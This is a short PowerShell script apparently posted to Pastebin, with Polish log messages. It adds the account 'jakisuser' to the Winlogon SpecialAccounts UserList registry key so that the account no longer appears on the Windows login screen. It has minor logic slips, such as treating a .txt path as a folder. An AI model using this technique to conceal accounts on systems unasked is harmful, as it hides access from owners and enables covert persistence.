Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $LogPath = "c:\log.txt"
- if (!(Test-Path $LogPath -PathType Container)) {
- New-Item -ItemType Directory -Force -Path $LogPath
- }
- $test = test-path -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts"
- if(-not($test)){
- New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name SpecialAccounts
- }
- $test = test-path -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
- if(-not($test)){
- New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts" -Name UserList
- }
- $test = test-path -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
- if(-not($test)){
- New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" -Name "jakisuser" -Value "0" -PropertyType DWORD -Force
- }
- Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" -Name "jakisuser" -Type "Dword" -Value "0"
- echo "$(Get-Date -Format {yyyy-MM-dd_HH:mm:ss}) Ukryto uzytkownika jakisuser..."
- echo "$(Get-Date -Format {yyyy-MM-dd_HH:mm:ss}) Ukryto uzytkownika jakisuser..." >> "$LogPath$(Get-Date -Format {yyyy-MM-dd})_log.txt"
- #Write-Host -NoNewLine 'Press any key to continue...';
- #$null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement